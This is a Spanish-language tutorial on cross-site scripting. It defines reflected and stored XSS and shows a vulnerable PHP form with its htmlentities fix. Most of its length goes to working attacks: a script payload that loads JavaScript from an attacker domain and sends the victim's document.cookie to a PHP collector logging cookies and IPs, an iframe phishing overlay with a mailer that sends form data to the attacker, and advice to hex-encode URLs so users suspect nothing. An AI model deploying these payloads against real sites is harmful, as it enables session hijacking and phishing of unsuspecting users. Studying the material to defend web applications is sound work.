Cross Site Scripting Conceptos Básicos y Casos prácticos Antonio González Castro www.noveria.es | [email protected] # Definición Cross Site Scripting o también conocido como XSS por sus siglas en inglés, corresponde a una vulnerabilidad que afecta tanto al usuario como a nivel aplicativo. La causa de la vulnerabilidad radica en la validación de entradas HTML incrustadas, usando diversas técnicas para inyectar código de marcas (HTML) o código ejecutable en la maquina cliente (Javascript, VBscript o Active X). El impacto de este tipo de vulnerabilidades, significa que la entrada (URL previamente manipulada) no la proporciona el mismo usuario, sino un atacante. Su finalidad persiste en la ejecución de la entrada por parte del usuario, con el fin de conseguir diversos objetivos limitados tanto por la capacidad del lenguaje inyectado, como del atacante. # Clasificación La clasificación de este tipo vulnerabilidad persiste en varias tesis, unos lo clasifican como ataques al usuario y ataques al sistema, indirectos y directos, persistentes y no persistentes… Es este yo voy a utilizar la siguiente categorización ya que personalmente creo que es la más correcta. Cross Site Scripting Reflejado; es la más común, y no permite la inserción código directo. Sucede cuando se envía un mensaje o ruta en una URL, una cookie o en la cabecera HTTP (pudiendo extenderse al DOM del navegador). Cross Site Scripting Almacenado; los datos son almacenados a través de una Base de Datos ó archivo. La deficiente programación al filtrar las entradas, nos permite la ejecución de código directo. # Escenarios de ataque Estudiamos el siguiente código: <form action="noveria.php" method="post"> <p>Tu vulnerabilidad favorita:</p> <p><input type="radio" name="vulnerabilidad" value="XSS">XSS</p> <p><input type="radio" name="vulnerabilidad" value="LFI">LFI</p> <p><input type="radio" name="vulnerabilidad" value="RFI">RFI</p> <input type="submit" name="Boton" value="Enviar"> </form> Contenido del archivo noveria.php: <?php # Código del php Vulnerable $Choice = $_REQUEST['vulnerabilidad']; ?> <html> <head></head> <body> <p>Su vulnerabilidad favorita es: <?php echo $Choice ?></p> </body> </html> Podemos observar que noveria.php es vulnerable, debido a que la variable no está filtrada, para corregir este error solo tenemos que filtrar la entrada, utilizando la función htmlentities. Al margen de esta, tenemos más opciones como la función HTMLSpecialchars. <?php # Código del php Vulnerable $Choice = htmlentities($_REQUEST['vulnerabilidad']); ?> <html> <head></head> <body> <p>Su vulnerabilidad favorita es: <?php echo $Choice ?></p> </body> </html> La manera o forma de explotar la vulnerabilidad en este caso sería tan sencillo como ejecutar la siguiente URL. http://www.noveria.es/noveria.php?vulnerabilidad=<script>alert(666)</s cript> Este es el punto y hasta donde el 90% de atacantes llegan en su intento de ataque XSS, pero existen muchas más técnicas y poderes secretos mucho más atractivos y útiles. Como por ejemplo, usando Framesets podemos crear un loop infinito, afectando directamente sobre la maquina local por parte del usuario. Javascript:while(1)alert("loop infinito"); # Suplantación de identidad, robo de coockies Obtención de datos, personalmente el ataque más importante que nos proporciona un cross site scripting, depende en que escenario nos encontremos podemos robar una cookie en concreto, borrar información de una Base de Datos y todo lo que el aplicativo y nuestros conocimientos nos permitan. En este caso nos vamos a centrar en el robo de una cookie en concreto, ya que se puede explotar en varios escenarios y afecta directamente contra la integridad del usuario llegándonos a permitir el acceso al sistema, se podría plantear algunas dudas, si el usuario cierra sesión la cookie caduca, pero gracias a la librería cURL, el atacante con la cookie activa en ese momento podría acceder al aplicativo, y dejarlo en cache, en este caso se podría acceder en cualquier momento. Procedemos a estudiar un caso práctico. A través de cualquier medio enviamos la siguiente dirección (URL) al usuario que deseamos obtener su cookie. http://www.noveria.es/noveria.php?vulnerabilidad=<script src= http://www.noveria-maligna.es/noveria.js></script> Conociendo que noveria.js ejecuta un archivo php. var ubicacion='http://www.noveria-maligna.es/noveria.php?cookie=' location.href=ubicacion+document.cookie El archivo noveria.php almacena en un archivo .txt con la cookie del usuario y su IP, dicho archivo tiene el siguiente aspecto. <?php $ip = $_SERVER['REMOTE_ADDR']; # Obtención de la IP del usuario $cookie = $_GET['cookie']; # Obtención de la Cookie del usuario $info = "Ip: " . $ip . "Cookie: " . $cookie . " "; $archivo = fopen("cookie.txt",'a'); # Abrimos el archivo .txt fwrite($archivo,$info); # Guardamos la información en el archivo .txt fclose($archivo); # Cerramos el archivo header("Location: http://www.noveria.es"); # Redireccionamos ?> # Phishing Una vulnerabilidad XSS nos permite realizar ataques de phishing utilizando como base el dominio original de la aplicación. Para los más despistados, phishing es un ataque almacenado en el área de la ingeniería social, caracterizado por adquirir información de forma fraudulenta. En este caso vamos a seguir con el ejemplo anterior y vamos a conseguir que en nuestra encuesta, los datos no lleguen a su destino, sino a uno especialmente manipulado. Como ejemplo vamos a almacenar nuestra web manipulada en el dominio www.noveria-maligna.es, con el siguiente script conseguimos modificar el titulo de la página para simular que nos encontramos en la página original, además abre una ventana adicional dentro de la misma página, donde se carga el archivo noveria.html. Este script lo ejecutaremos por medio del XSS. document.title = "Encuesta noveria"; document.write("<iframe src=http://www.noveriamaligna.es/noveria.html frameborder=0 framespacing=0 scrolling=auto border=0 marginheight=0 marginwidth=0 width=100% height=100% /> "); Simplemente necesitamos hacer una copia exacta de la web original, y modificamos el form action quedando de la siguiente manera: <form action="noveria-maligna.php" method="post"> <p>Tu vulnerabilidad favorita:</p> <p><input type="radio" name="vulnerabilidad" value="XSS">XSS</p> <p><input type="radio" name="vulnerabilidad" value="LFI">LFI</p> <p><input type="radio" name="vulnerabilidad" value="RFI">RFI</p> <input type="submit" name="Boton" value="Enviar"> </form> Añadimos el siguiente script al código. <SCRIPT TYPE="text/javascript" LANGUAGE=JAVASCRIPT> if (top.frames.length!=0){ top.frames.length=0;} </SCRIPT> De este modo cuando hagamos la petición al archivo noveria-maligna.js, la ventana ocupe el tamaño completo del navegador. Para finalizar nuestra web falsa, debemos crear el archivo noveria-maligna.php, este enviará un correo electrónico con el resultado de la encuesta. <?php # Envio por correo resultado encuesta if ($_POST['vulnerabilidad']){ $leeter = "[email protected]"; $vulnerabilidad = $_POST['vulnerabilidad']; $asunto = "Phishing noveria maligna"; $from = "La vulnerabilidad favorita es: $vulnerabilidad"; mail($leeter, $asunto, $from); } # Redirección header("Location: http://www.noveria.es"); ?> Por lo tanto la URL que vamos a utilizar y difundir para nuestro ataque de phishing es la siguiente: http://www.noveria.es/noveria.php?vulnerabilidad=<script src=http://www.noveria-maligna.es/noveria.js></script> Si deseamos aumentar la capacidad de engaño de las URLs, solo debemos transformarlas a hexadecimal, el resultado a nivel ejecución de las URLs es el mismo, diferenciándose en la ofuscación su contenido para evitar cualquier tipo de sospechas ante él usuario.